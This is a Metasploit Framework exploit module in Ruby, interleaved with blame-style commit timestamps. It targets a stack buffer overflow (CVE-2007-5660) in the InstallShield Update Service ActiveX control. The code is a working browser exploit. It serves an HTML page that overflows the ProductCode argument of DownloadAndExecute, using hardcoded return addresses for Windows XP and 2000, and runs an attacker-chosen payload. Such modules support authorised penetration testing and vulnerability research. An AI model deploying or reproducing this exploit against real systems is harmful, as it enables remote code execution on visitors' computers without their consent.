2007-12-26 12:17:05 +00:00
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/
|
2007-12-26 12:17:05 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Macrovision InstallShield Update Service Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a stack buffer overflow in Macrovision InstallShield Update
|
|
|
|
|
Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to
|
|
|
|
|
the DownloadAndExecute method, an attacker may be able to execute arbitrary code.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'CVE', '2007-5660' ],
|
|
|
|
|
[ 'OSVDB', '38347' ],
|
|
|
|
|
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 800,
|
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 600, 'Ret' => 0x71aa32ad } ],
|
|
|
|
|
[ 'Windows 2000 Pro English All', { 'Offset' => 600, 'Ret' => 0x75022ac4 } ],
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Oct 31 2007',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Randomize some things
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
strname = rand_text_alpha(rand(100) + 1)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Set the exploit buffer
|
|
|
|
|
sploit = rand_text_alpha(target['Offset'])
|
|
|
|
|
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
|
|
|
|
|
sploit << p.encoded + rand_text_alpha(1200 - p.encoded.length)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#[id(0x00000007), helpstring("method DownloadAndExecute")]
|
|
|
|
|
#void DownloadAndExecute(
|
|
|
|
|
# BSTR dispname,
|
|
|
|
|
# BSTR ProductCode,
|
|
|
|
|
# long MsgID,
|
|
|
|
|
# BSTR url,
|
|
|
|
|
# BSTR cmdline);
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Build out the message
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
|
|
|
|
|
<script language='javascript'>
|
|
|
|
|
#{strname} = new String('#{sploit}')
|
|
|
|
|
#{vname}.DownloadAndExecute("", #{strname}, 0, "", "");
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending #{self.name}")
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
2007-12-26 12:17:05 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|
